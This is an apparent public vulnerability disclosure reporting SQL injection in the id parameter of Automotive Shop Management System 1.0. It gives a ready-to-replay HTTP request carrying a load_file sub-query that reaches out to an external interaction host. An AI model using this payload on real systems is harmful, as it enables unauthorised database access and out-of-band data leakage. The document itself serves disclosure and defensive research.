# Titles: Automotive Shop Management System 1.0 Multiple SQLi # Author: nu11secur1ty # Date: 10/19/26 # Vendor: https://github.com/oretnom23 # Software: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Automotive-Shop-Management-System-1.0 # Reference: https://portswigger.net/web-security/sql-injection ## Description: The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\5gmsxuxam52jampd7vc6x0cvcmif681wszgq3gr5.oastify.com\\vip'))+' was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. STATUS: CRITICAL [+]Payload: ``` GET /asms/products/view_product.php?id=7'%2b(select%20load_file('%5c%5c%5c%5c5gmsxuxam52jampd7vc6x0cvcmif681wszgq3gr5.oastify.com%5c%5cvip'))%2b' HTTP/1.1 Host: pwnedhost.com Cache-Control: max-age=0 Sec-CH-UA: "Chromium";v="154", "Not;A=Brand";v="24", "Google Chrome";v="154" Sec-CH-UA-Mobile: ?0 Sec-CH-UA-Platform: "Windows" Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36 Accept: */* Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Connection: close Cookie: PHPSESSID=oh3navbdvii1gjgq93asvsks9q X-Requested-With: XMLHttpRequest Referer: https://pwnedhost.com/asms/?p=products ``` # Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/2026/Automotive-Shop-Management-System-1.0) # Demo: [href](https://odysee.com/@nu11secur1ty:b/Automotive-Shop-Management-System-1.0-Multiple-SQLi:e) # Time spent: 00:47:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ home page: https://www.asc3t1c-nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <https://www.asc3t1c-nu11secur1ty.com/>